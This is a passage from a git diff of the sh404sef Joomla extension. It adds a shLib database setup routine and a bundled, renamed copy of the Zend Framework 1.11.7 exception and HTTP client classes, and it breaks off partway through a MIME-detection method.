NOT NULL DEFAULT '', + `accept_versions` varchar(255) NOT NULL DEFAULT '', + PRIMARY KEY (`id`), + KEY `idx_context` (`context`) + ) DEFAULT CHARSET=utf8;"; + + $query2 = "CREATE TABLE IF NOT EXISTS `#__shlib_resources` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `resource` varchar(50) NOT NULL DEFAULT '', + `current_version` varchar(20) NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `idx_resource` (`resource`) + ) DEFAULT CHARSET=utf8;"; + + // run query + try { + $db = JFactory::getDBO(); + $db->setQuery( $query1); + $db->query(); + $error = $db->getErrorNum(); + if(!empty( $error)) { + throw new Exception( $db->getErrorMsg()); + } + $db->setQuery( $query2); + $db->query(); + $error = $db->getErrorNum(); + if(!empty( $error)) { + throw new Exception( $db->getErrorMsg()); + } + + } catch( Exception $e) { + $app = JFactory::getApplication(); + $app->enqueueMessage( 'Error while creating/upgrading the database : ' . $e->getMessage() + . '.
    shLib will probably not operate properly. Please uninstall it, then try again after checking your database server setup. Contact us in case this happens again.'); + } + } +} \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Exception.php new file mode 100644 index 00000000..c63d02c1 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Exception.php @@ -0,0 +1,97 @@ +_previous = $previous; + } else { + parent::__construct($msg, (int) $code, $previous); + } + } + + /** + * Overloading + * + * For PHP < 5.3.0, provides access to the getPrevious() method. + * + * @param string $method + * @param array $args + * @return mixed + */ + public function __call($method, array $args) + { + if ('getprevious' == strtolower($method)) { + return $this->_getPrevious(); + } + return null; + } + + /** + * String representation of the exception + * + * @return string + */ + public function __toString() + { + if (version_compare(PHP_VERSION, '5.3.0', '<')) { + if (null !== ($e = $this->getPrevious())) { + return $e->__toString() + . "\n\nNext " + . parent::__toString(); + } + } + return parent::__toString(); + } + + /** + * Returns previous Exception + * + * @return Exception|null + */ + protected function _getPrevious() + { + return $this->_previous; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client.php new file mode 100644 index 00000000..09db8899 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client.php @@ -0,0 +1,1464 @@ + 5, + 'strictredirects' => false, + 'useragent' => 'Zendshl_Http_Client', + 'timeout' => 10, + 'adapter' => 'Zendshl_Http_Client_Adapter_Socket', + 'httpversion' => self::HTTP_1, + 'keepalive' => false, + 'storeresponse' => true, + 'strict' => true, + 'output_stream' => false, + 'encodecookies' => true, + 'rfc3986_strict' => false + ); + + /** + * The adapter used to perform the actual connection to the server + * + * @var Zendshl_Http_Client_Adapter_Interface + */ + protected $adapter = null; + + /** + * Request URI + * + * @var Zendshl_Uri_Http + */ + protected $uri = null; + + /** + * Associative array of request headers + * + * @var array + */ + protected $headers = array(); + + /** + * HTTP request method + * + * @var string + */ + protected $method = self::GET; + + /** + * Associative array of GET parameters + * + * @var array + */ + protected $paramsGet = array(); + + /** + * Associative array of POST parameters + * + * @var array + */ + protected $paramsPost = array(); + + /** + * Request body content type (for POST requests) + * + * @var string + */ + protected $enctype = null; + + /** + * The raw post data to send. Could be set by setRawData($data, $enctype). + * + * @var string + */ + protected $raw_post_data = null; + + /** + * HTTP Authentication settings + * + * Expected to be an associative array with this structure: + * $this->auth = array('user' => 'username', 'password' => 'password', 'type' => 'basic') + * Where 'type' should be one of the supported authentication types (see the AUTH_* + * constants), for example 'basic' or 'digest'. + * + * If null, no authentication will be used. + * + * @var array|null + */ + protected $auth; + + /** + * File upload arrays (used in POST requests) + * + * An associative array, where each element is of the format: + * 'name' => array('filename.txt', 'text/plain', 'This is the actual file contents') + * + * @var array + */ + protected $files = array(); + + /** + * The client's cookie jar + * + * @var Zendshl_Http_CookieJar + */ + protected $cookiejar = null; + + /** + * The last HTTP request sent by the client, as string + * + * @var string + */ + protected $last_request = null; + + /** + * The last HTTP response received by the client + * + * @var Zendshl_Http_Response + */ + protected $last_response = null; + + /** + * Redirection counter + * + * @var int + */ + protected $redirectCounter = 0; + + /** + * Fileinfo magic database resource + * + * This variable is populated the first time _detectFileMimeType is called + * and is then reused on every call to this method + * + * @var resource + */ + static protected $_fileInfoDb = null; + + /** + * Constructor method. Will create a new HTTP client. Accepts the target + * URL and optionally configuration array. + * + * @param Zendshl_Uri_Http|string $uri + * @param array $config Configuration key-value pairs. + */ + public function __construct($uri = null, $config = null) + { + if ($uri !== null) { + $this->setUri($uri); + } + if ($config !== null) { + $this->setConfig($config); + } + } + + /** + * Set the URI for the next request + * + * @param Zendshl_Uri_Http|string $uri + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setUri($uri) + { + if (is_string($uri)) { + $uri = Zendshl_Uri::factory($uri); + } + + if (!$uri instanceof Zendshl_Uri_Http) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Passed parameter is not a valid HTTP URI.'); + } + + // Set auth if username and password has been specified in the uri + if ($uri->getUsername() && $uri->getPassword()) { + $this->setAuth($uri->getUsername(), $uri->getPassword()); + } + + // We have no ports, set the defaults + if (! $uri->getPort()) { + $uri->setPort(($uri->getScheme() == 'https' ? 443 : 80)); + } + + $this->uri = $uri; + + return $this; + } + + /** + * Get the URI for the next request + * + * @param boolean $as_string If true, will return the URI as a string + * @return Zendshl_Uri_Http|string + */ + public function getUri($as_string = false) + { + if ($as_string && $this->uri instanceof Zendshl_Uri_Http) { + return $this->uri->__toString(); + } else { + return $this->uri; + } + } + + /** + * Set configuration parameters for this HTTP client + * + * @param Zendshl_Config | array $config + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + + } elseif (! is_array($config)) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Array or Zendshl_Config object expected, got ' . gettype($config)); + } + + foreach ($config as $k => $v) { + $this->config[strtolower($k)] = $v; + } + + // Pass configuration options to the adapter if it exists + if ($this->adapter instanceof Zendshl_Http_Client_Adapter_Interface) { + $this->adapter->setConfig($config); + } + + return $this; + } + + /** + * Set the next request's method + * + * Validated the passed method and sets it. If we have files set for + * POST requests, and the new method is not POST, the files are silently + * dropped. + * + * @param string $method + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setMethod($method = self::GET) + { + if (! preg_match('/^[^\x00-\x1f\x7f-\xff\(\)<>@,;:\\\\"\/\[\]\?={}\s]+$/', $method)) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("'{$method}' is not a valid HTTP request method."); + } + + if ($method == self::POST && $this->enctype === null) { + $this->setEncType(self::ENC_URLENCODED); + } + + $this->method = $method; + + return $this; + } + + /** + * Set one or more request headers + * + * This function can be used in several ways to set the client's request + * headers: + * 1. By providing two parameters: $name as the header to set (e.g. 'Host') + * and $value as it's value (e.g. 'www.example.com'). + * 2. By providing a single header string as the only parameter + * e.g. 'Host: www.example.com' + * 3. By providing an array of headers as the first parameter + * e.g. array('host' => 'www.example.com', 'x-foo: bar'). In This case + * the function will call itself recursively for each array item. + * + * @param string|array $name Header name, full header string ('Header: value') + * or an array of headers + * @param mixed $value Header value or null + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setHeaders($name, $value = null) + { + // If we got an array, go recursive! + if (is_array($name)) { + foreach ($name as $k => $v) { + if (is_string($k)) { + $this->setHeaders($k, $v); + } else { + $this->setHeaders($v, null); + } + } + } else { + // Check if $name needs to be split + if ($value === null && (strpos($name, ':') > 0)) { + list($name, $value) = explode(':', $name, 2); + } + + // Make sure the name is valid if we are in strict mode + if ($this->config['strict'] && (! preg_match('/^[a-zA-Z0-9-]+$/', $name))) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("{$name} is not a valid HTTP header name"); + } + + $normalized_name = strtolower($name); + + // If $value is null or false, unset the header + if ($value === null || $value === false) { + unset($this->headers[$normalized_name]); + + // Else, set the header + } else { + // Header names are stored lowercase internally. + if (is_string($value)) { + $value = trim($value); + } + $this->headers[$normalized_name] = array($name, $value); + } + } + + return $this; + } + + /** + * Get the value of a specific header + * + * Note that if the header has more than one value, an array + * will be returned. + * + * @param string $key + * @return string|array|null The header value or null if it is not set + */ + public function getHeader($key) + { + $key = strtolower($key); + if (isset($this->headers[$key])) { + return $this->headers[$key][1]; + } else { + return null; + } + } + + /** + * Set a GET parameter for the request. Wrapper around _setParameter + * + * @param string|array $name + * @param string $value + * @return Zendshl_Http_Client + */ + public function setParameterGet($name, $value = null) + { + if (is_array($name)) { + foreach ($name as $k => $v) + $this->_setParameter('GET', $k, $v); + } else { + $this->_setParameter('GET', $name, $value); + } + + return $this; + } + + /** + * Set a POST parameter for the request. Wrapper around _setParameter + * + * @param string|array $name + * @param string $value + * @return Zendshl_Http_Client + */ + public function setParameterPost($name, $value = null) + { + if (is_array($name)) { + foreach ($name as $k => $v) + $this->_setParameter('POST', $k, $v); + } else { + $this->_setParameter('POST', $name, $value); + } + + return $this; + } + + /** + * Set a GET or POST parameter - used by SetParameterGet and SetParameterPost + * + * @param string $type GET or POST + * @param string $name + * @param string $value + * @return null + */ + protected function _setParameter($type, $name, $value) + { + $parray = array(); + $type = strtolower($type); + switch ($type) { + case 'get': + $parray = &$this->paramsGet; + break; + case 'post': + $parray = &$this->paramsPost; + break; + } + + if ($value === null) { + if (isset($parray[$name])) unset($parray[$name]); + } else { + $parray[$name] = $value; + } + } + + /** + * Get the number of redirections done on the last request + * + * @return int + */ + public function getRedirectionsCount() + { + return $this->redirectCounter; + } + + /** + * Set HTTP authentication parameters + * + * $type should be one of the supported types - see the self::AUTH_* + * constants. + * + * To enable authentication: + * + * $this->setAuth('shahar', 'secret', Zendshl_Http_Client::AUTH_BASIC); + * + * + * To disable authentication: + * + * $this->setAuth(false); + * + * + * @see http://www.faqs.org/rfcs/rfc2617.html + * @param string|false $user User name or false disable authentication + * @param string $password Password + * @param string $type Authentication type + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setAuth($user, $password = '', $type = self::AUTH_BASIC) + { + // If we got false or null, disable authentication + if ($user === false || $user === null) { + $this->auth = null; + + // Clear the auth information in the uri instance as well + if ($this->uri instanceof Zendshl_Uri_Http) { + $this->getUri()->setUsername(''); + $this->getUri()->setPassword(''); + } + // Else, set up authentication + } else { + // Check we got a proper authentication type + if (! defined('self::AUTH_' . strtoupper($type))) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Invalid or not supported authentication type: '$type'"); + } + + $this->auth = array( + 'user' => (string) $user, + 'password' => (string) $password, + 'type' => $type + ); + } + + return $this; + } + + /** + * Set the HTTP client's cookie jar. + * + * A cookie jar is an object that holds and maintains cookies across HTTP requests + * and responses. + * + * @param Zendshl_Http_CookieJar|boolean $cookiejar Existing cookiejar object, true to create a new one, false to disable + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setCookieJar($cookiejar = true) + { + Zendshl_Loader::loadClass('Zendshl_Http_CookieJar'); + + if ($cookiejar instanceof Zendshl_Http_CookieJar) { + $this->cookiejar = $cookiejar; + } elseif ($cookiejar === true) { + $this->cookiejar = new Zendshl_Http_CookieJar(); + } elseif (! $cookiejar) { + $this->cookiejar = null; + } else { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Invalid parameter type passed as CookieJar'); + } + + return $this; + } + + /** + * Return the current cookie jar or null if none. + * + * @return Zendshl_Http_CookieJar|null + */ + public function getCookieJar() + { + return $this->cookiejar; + } + + /** + * Add a cookie to the request. If the client has no Cookie Jar, the cookies + * will be added directly to the headers array as "Cookie" headers. + * + * @param Zendshl_Http_Cookie|string $cookie + * @param string|null $value If "cookie" is a string, this is the cookie value. + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setCookie($cookie, $value = null) + { + Zendshl_Loader::loadClass('Zendshl_Http_Cookie'); + + if (is_array($cookie)) { + foreach ($cookie as $c => $v) { + if (is_string($c)) { + $this->setCookie($c, $v); + } else { + $this->setCookie($v); + } + } + + return $this; + } + + if ($value !== null && $this->config['encodecookies']) { + $value = urlencode($value); + } + + if (isset($this->cookiejar)) { + if ($cookie instanceof Zendshl_Http_Cookie) { + $this->cookiejar->addCookie($cookie); + } elseif (is_string($cookie) && $value !== null) { + $cookie = Zendshl_Http_Cookie::fromString("{$cookie}={$value}", + $this->uri, + $this->config['encodecookies']); + $this->cookiejar->addCookie($cookie); + } + } else { + if ($cookie instanceof Zendshl_Http_Cookie) { + $name = $cookie->getName(); + $value = $cookie->getValue(); + $cookie = $name; + } + + if (preg_match("/[=,; \t\r\n\013\014]/", $cookie)) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Cookie name cannot contain these characters: =,; \t\r\n\013\014 ({$cookie})"); + } + + $value = addslashes($value); + + if (! isset($this->headers['cookie'])) { + $this->headers['cookie'] = array('Cookie', ''); + } + $this->headers['cookie'][1] .= $cookie . '=' . $value . '; '; + } + + return $this; + } + + /** + * Set a file to upload (using a POST request) + * + * Can be used in two ways: + * + * 1. $data is null (default): $filename is treated as the name if a local file which + * will be read and sent. Will try to guess the content type using mime_content_type(). + * 2. $data is set - $filename is sent as the file name, but $data is sent as the file + * contents and no file is read from the file system. In this case, you need to + * manually set the Content-Type ($ctype) or it will default to + * application/octet-stream. + * + * @param string $filename Name of file to upload, or name to save as + * @param string $formname Name of form element to send as + * @param string $data Data to send (if null, $filename is read and sent) + * @param string $ctype Content type to use (if $data is set and $ctype is + * null, will be application/octet-stream) + * @return Zendshl_Http_Client + * @throws Zendshl_Http_Client_Exception + */ + public function setFileUpload($filename, $formname, $data = null, $ctype = null) + { + if ($data === null) { + if (($data = @file_get_contents($filename)) === false) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Unable to read file '{$filename}' for upload"); + } + + if (! $ctype) { + $ctype = $this->_detectFileMimeType($filename); + } + } + + // Force enctype to multipart/form-data + $this->setEncType(self::ENC_FORMDATA); + + $this->files[] = array( + 'formname' => $formname, + 'filename' => basename($filename), + 'ctype' => $ctype, + 'data' => $data + ); + + return $this; + } + + /** + * Set the encoding type for POST data + * + * @param string $enctype + * @return Zendshl_Http_Client + */ + public function setEncType($enctype = self::ENC_URLENCODED) + { + $this->enctype = $enctype; + + return $this; + } + + /** + * Set the raw (already encoded) POST data. + * + * This function is here for two reasons: + * 1. For advanced user who would like to set their own data, already encoded + * 2. For backwards compatibilty: If someone uses the old post($data) method. + * this method will be used to set the encoded data. + * + * $data can also be stream (such as file) from which the data will be read. + * + * @param string|resource $data + * @param string $enctype + * @return Zendshl_Http_Client + */ + public function setRawData($data, $enctype = null) + { + $this->raw_post_data = $data; + $this->setEncType($enctype); + if (is_resource($data)) { + // We've got stream data + $stat = @fstat($data); + if($stat) { + $this->setHeaders(self::CONTENT_LENGTH, $stat['size']); + } + } + return $this; + } + + /** + * Clear all GET and POST parameters + * + * Should be used to reset the request parameters if the client is + * used for several concurrent requests. + * + * clearAll parameter controls if we clean just parameters or also + * headers and last_* + * + * @param bool $clearAll Should all data be cleared? + * @return Zendshl_Http_Client + */ + public function resetParameters($clearAll = false) + { + // Reset parameter data + $this->paramsGet = array(); + $this->paramsPost = array(); + $this->files = array(); + $this->raw_post_data = null; + $this->enctype = null; + + if($clearAll) { + $this->headers = array(); + $this->last_request = null; + $this->last_response = null; + } else { + // Clear outdated headers + if (isset($this->headers[strtolower(self::CONTENT_TYPE)])) { + unset($this->headers[strtolower(self::CONTENT_TYPE)]); + } + if (isset($this->headers[strtolower(self::CONTENT_LENGTH)])) { + unset($this->headers[strtolower(self::CONTENT_LENGTH)]); + } + } + + return $this; + } + + /** + * Get the last HTTP request as string + * + * @return string + */ + public function getLastRequest() + { + return $this->last_request; + } + + /** + * Get the last HTTP response received by this client + * + * If $config['storeresponse'] is set to false, or no response was + * stored yet, will return null + * + * @return Zendshl_Http_Response or null if none + */ + public function getLastResponse() + { + return $this->last_response; + } + + /** + * Load the connection adapter + * + * While this method is not called more than one for a client, it is + * seperated from ->request() to preserve logic and readability + * + * @param Zendshl_Http_Client_Adapter_Interface|string $adapter + * @return null + * @throws Zendshl_Http_Client_Exception + */ + public function setAdapter($adapter) + { + if (is_string($adapter)) { + try { + Zendshl_Loader::loadClass($adapter); + } catch (Zendshl_Exception $e) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Unable to load adapter '$adapter': {$e->getMessage()}", 0, $e); + } + + $adapter = new $adapter; + } + + if (! $adapter instanceof Zendshl_Http_Client_Adapter_Interface) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Passed adapter is not a HTTP connection adapter'); + } + + $this->adapter = $adapter; + $config = $this->config; + unset($config['adapter']); + $this->adapter->setConfig($config); + } + + /** + * Load the connection adapter + * + * @return Zendshl_Http_Client_Adapter_Interface $adapter + */ + public function getAdapter() + { + return $this->adapter; + } + + /** + * Set streaming for received data + * + * @param string|boolean $streamfile Stream file, true for temp file, false/null for no streaming + * @return Zendshl_Http_Client + */ + public function setStream($streamfile = true) + { + $this->setConfig(array("output_stream" => $streamfile)); + return $this; + } + + /** + * Get status of streaming for received data + * @return boolean|string + */ + public function getStream() + { + return $this->config["output_stream"]; + } + + /** + * Create temporary stream + * + * @return resource + */ + protected function _openTempStream() + { + $this->_stream_name = $this->config['output_stream']; + if(!is_string($this->_stream_name)) { + // If name is not given, create temp name + $this->_stream_name = tempnam(isset($this->config['stream_tmp_dir'])?$this->config['stream_tmp_dir']:sys_get_temp_dir(), + 'Zendshl_Http_Client'); + } + + if (false === ($fp = @fopen($this->_stream_name, "w+b"))) { + if ($this->adapter instanceof Zendshl_Http_Client_Adapter_Interface) { + $this->adapter->close(); + } + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Could not open temp file {$this->_stream_name}"); + } + + return $fp; + } + + /** + * Send the HTTP request and return an HTTP response object + * + * @param string $method + * @return Zendshl_Http_Response + * @throws Zendshl_Http_Client_Exception + */ + public function request($method = null) + { + if (! $this->uri instanceof Zendshl_Uri_Http) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('No valid URI has been passed to the client'); + } + + if ($method) { + $this->setMethod($method); + } + $this->redirectCounter = 0; + $response = null; + + // Make sure the adapter is loaded + if ($this->adapter == null) { + $this->setAdapter($this->config['adapter']); + } + + // Send the first request. If redirected, continue. + do { + // Clone the URI and add the additional GET parameters to it + $uri = clone $this->uri; + if (! empty($this->paramsGet)) { + $query = $uri->getQuery(); + if (! empty($query)) { + $query .= '&'; + } + $query .= http_build_query($this->paramsGet, null, '&'); + if ($this->config['rfc3986_strict']) { + $query = str_replace('+', '%20', $query); + } + + $validationEnabled = empty($this->config['disable_uri_validation']); + $uri->setQuery($query, $validationEnabled); // shumisha 2012-03-05 disabled validation, as some long query strings validation just kill the server + } + + $body = $this->_prepareBody(); + $headers = $this->_prepareHeaders(); + + // check that adapter supports streaming before using it + if(is_resource($body) && !($this->adapter instanceof Zendshl_Http_Client_Adapter_Stream)) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Adapter does not support streaming'); + } + + // Open the connection, send the request and read the response + $this->adapter->connect($uri->getHost(), $uri->getPort(), + ($uri->getScheme() == 'https' ? true : false)); + + if($this->config['output_stream']) { + if($this->adapter instanceof Zendshl_Http_Client_Adapter_Stream) { + $stream = $this->_openTempStream(); + $this->adapter->setOutputStream($stream); + } else { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Adapter does not support streaming'); + } + } + + $this->last_request = $this->adapter->write($this->method, + $uri, $this->config['httpversion'], $headers, $body); + + $response = $this->adapter->read(); + if (! $response) { + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception('Unable to read response, or response is empty'); + } + + if($this->config['output_stream']) { + rewind($stream); + // cleanup the adapter + $this->adapter->setOutputStream(null); + $response = Zendshl_Http_Response_Stream::fromStream($response, $stream); + $response->setStreamName($this->_stream_name); + if(!is_string($this->config['output_stream'])) { + // we used temp name, will need to clean up + $response->setCleanup(true); + } + } else { + $response = Zendshl_Http_Response::fromString($response); + } + + if ($this->config['storeresponse']) { + $this->last_response = $response; + } + + // Load cookies into cookie jar + if (isset($this->cookiejar)) { + $this->cookiejar->addCookiesFromResponse($response, $uri, $this->config['encodecookies']); + } + + // If we got redirected, look for the Location header + if ($response->isRedirect() && ($location = $response->getHeader('location'))) { + + // Avoid problems with buggy servers that add whitespace at the + // end of some headers (See ZF-11283) + $location = trim($location); + + // Check whether we send the exact same request again, or drop the parameters + // and send a GET request + if ($response->getStatus() == 303 || + ((! $this->config['strictredirects']) && ($response->getStatus() == 302 || + $response->getStatus() == 301))) { + + $this->resetParameters(); + $this->setMethod(self::GET); + } + + // If we got a well formed absolute URI + if (($scheme = substr($location, 0, 6)) && ($scheme == 'http:/' || $scheme == 'https:')) { + $this->setHeaders('host', null); + $this->setUri($location); + + } else { + + // Split into path and query and set the query + if (strpos($location, '?') !== false) { + list($location, $query) = explode('?', $location, 2); + } else { + $query = ''; + } + $this->uri->setQuery($query); + + // Else, if we got just an absolute path, set it + if(strpos($location, '/') === 0) { + $this->uri->setPath($location); + + // Else, assume we have a relative path + } else { + // Get the current path directory, removing any trailing slashes + $path = $this->uri->getPath(); + $path = rtrim(substr($path, 0, strrpos($path, '/')), "/"); + $this->uri->setPath($path . '/' . $location); + } + } + ++$this->redirectCounter; + + } else { + // If we didn't get any location, stop redirecting + break; + } + + } while ($this->redirectCounter < $this->config['maxredirects']); + + return $response; + } + + /** + * Prepare the request headers + * + * @return array + */ + protected function _prepareHeaders() + { + $headers = array(); + + // Set the host header + if (! isset($this->headers['host'])) { + $host = $this->uri->getHost(); + + // If the port is not default, add it + if (! (($this->uri->getScheme() == 'http' && $this->uri->getPort() == 80) || + ($this->uri->getScheme() == 'https' && $this->uri->getPort() == 443))) { + $host .= ':' . $this->uri->getPort(); + } + + $headers[] = "Host: {$host}"; + } + + // Set the connection header + if (! isset($this->headers['connection'])) { + if (! $this->config['keepalive']) { + $headers[] = "Connection: close"; + } + } + + // Set the Accept-encoding header if not set - depending on whether + // zlib is available or not. + if (! isset($this->headers['accept-encoding'])) { + if (function_exists('gzinflate')) { + $headers[] = 'Accept-encoding: gzip, deflate'; + } else { + $headers[] = 'Accept-encoding: identity'; + } + } + + // Set the Content-Type header + if (($this->method == self::POST || $this->method == self::PUT) && + (! isset($this->headers[strtolower(self::CONTENT_TYPE)]) && isset($this->enctype))) { + + $headers[] = self::CONTENT_TYPE . ': ' . $this->enctype; + } + + // Set the user agent header + if (! isset($this->headers['user-agent']) && isset($this->config['useragent'])) { + $headers[] = "User-Agent: {$this->config['useragent']}"; + } + + // Set HTTP authentication if needed + if (is_array($this->auth)) { + $auth = self::encodeAuthHeader($this->auth['user'], $this->auth['password'], $this->auth['type']); + $headers[] = "Authorization: {$auth}"; + } + + // Load cookies from cookie jar + if (isset($this->cookiejar)) { + $cookstr = $this->cookiejar->getMatchingCookies($this->uri, + true, Zendshl_Http_CookieJar::COOKIE_STRING_CONCAT); + + if ($cookstr) { + $headers[] = "Cookie: {$cookstr}"; + } + } + + // Add all other user defined headers + foreach ($this->headers as $header) { + list($name, $value) = $header; + if (is_array($value)) { + $value = implode(', ', $value); + } + + $headers[] = "$name: $value"; + } + + return $headers; + } + + /** + * Prepare the request body (for POST and PUT requests) + * + * @return string + * @throws Zendshl_Http_Client_Exception + */ + protected function _prepareBody() + { + // According to RFC2616, a TRACE request should not have a body. + if ($this->method == self::TRACE) { + return ''; + } + + if (isset($this->raw_post_data) && is_resource($this->raw_post_data)) { + return $this->raw_post_data; + } + // If mbstring overloads substr and strlen functions, we have to + // override it's internal encoding + if (function_exists('mb_internal_encoding') && + ((int) ini_get('mbstring.func_overload')) & 2) { + + $mbIntEnc = mb_internal_encoding(); + mb_internal_encoding('ASCII'); + } + + // If we have raw_post_data set, just use it as the body. + if (isset($this->raw_post_data)) { + $this->setHeaders(self::CONTENT_LENGTH, strlen($this->raw_post_data)); + if (isset($mbIntEnc)) { + mb_internal_encoding($mbIntEnc); + } + + return $this->raw_post_data; + } + + $body = ''; + + // If we have files to upload, force enctype to multipart/form-data + if (count ($this->files) > 0) { + $this->setEncType(self::ENC_FORMDATA); + } + + // If we have POST parameters or files, encode and add them to the body + if (count($this->paramsPost) > 0 || count($this->files) > 0) { + switch($this->enctype) { + case self::ENC_FORMDATA: + // Encode body as multipart/form-data + $boundary = '---ZENDHTTPCLIENT-' . md5(microtime()); + $this->setHeaders(self::CONTENT_TYPE, self::ENC_FORMDATA . "; boundary={$boundary}"); + + // Get POST parameters and encode them + $params = self::_flattenParametersArray($this->paramsPost); + foreach ($params as $pp) { + $body .= self::encodeFormData($boundary, $pp[0], $pp[1]); + } + + // Encode files + foreach ($this->files as $file) { + $fhead = array(self::CONTENT_TYPE => $file['ctype']); + $body .= self::encodeFormData($boundary, $file['formname'], $file['data'], $file['filename'], $fhead); + } + + $body .= "--{$boundary}--\r\n"; + break; + + case self::ENC_URLENCODED: + // Encode body as application/x-www-form-urlencoded + $this->setHeaders(self::CONTENT_TYPE, self::ENC_URLENCODED); + $body = http_build_query($this->paramsPost, '', '&'); + break; + + default: + if (isset($mbIntEnc)) { + mb_internal_encoding($mbIntEnc); + } + + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Cannot handle content type '{$this->enctype}' automatically." . + " Please use Zendshl_Http_Client::setRawData to send this kind of content."); + break; + } + } + + // Set the Content-Length if we have a body or if request is POST/PUT + if ($body || $this->method == self::POST || $this->method == self::PUT) { + $this->setHeaders(self::CONTENT_LENGTH, strlen($body)); + } + + if (isset($mbIntEnc)) { + mb_internal_encoding($mbIntEnc); + } + + return $body; + } + + /** + * Helper method that gets a possibly multi-level parameters array (get or + * post) and flattens it. + * + * The method returns an array of (key, value) pairs (because keys are not + * necessarily unique. If one of the parameters in as array, it will also + * add a [] suffix to the key. + * + * This method is deprecated since Zend Framework 1.9 in favour of + * self::_flattenParametersArray() and will be dropped in 2.0 + * + * @deprecated since 1.9 + * + * @param array $parray The parameters array + * @param bool $urlencode Whether to urlencode the name and value + * @return array + */ + protected function _getParametersRecursive($parray, $urlencode = false) + { + // Issue a deprecated notice + trigger_error("The " . __METHOD__ . " method is deprecated and will be dropped in 2.0.", + E_USER_NOTICE); + + if (! is_array($parray)) { + return $parray; + } + $parameters = array(); + + foreach ($parray as $name => $value) { + if ($urlencode) { + $name = urlencode($name); + } + + // If $value is an array, iterate over it + if (is_array($value)) { + $name .= ($urlencode ? '%5B%5D' : '[]'); + foreach ($value as $subval) { + if ($urlencode) { + $subval = urlencode($subval); + } + $parameters[] = array($name, $subval); + } + } else { + if ($urlencode) { + $value = urlencode($value); + } + $parameters[] = array($name, $value); + } + } + + return $parameters; + } + + /** + * Attempt to detect the MIME type of a file using available extensions + * + * This method will try to detect the MIME type of a file. If the fileinfo + * extension is available, it will be used. If not, the mime_magic + * extension which is deprected but is still available in many PHP setups + * will be tried. + * + * If neither extension is available, the default application/octet-stream + * MIME type will be returned + * + * @param string $file File path + * @return string MIME type + */ + protected function _detectFileMimeType($file) + { + $type = null; + + // First try with fileinfo functions + if (function_exists('finfo_open')) { + if 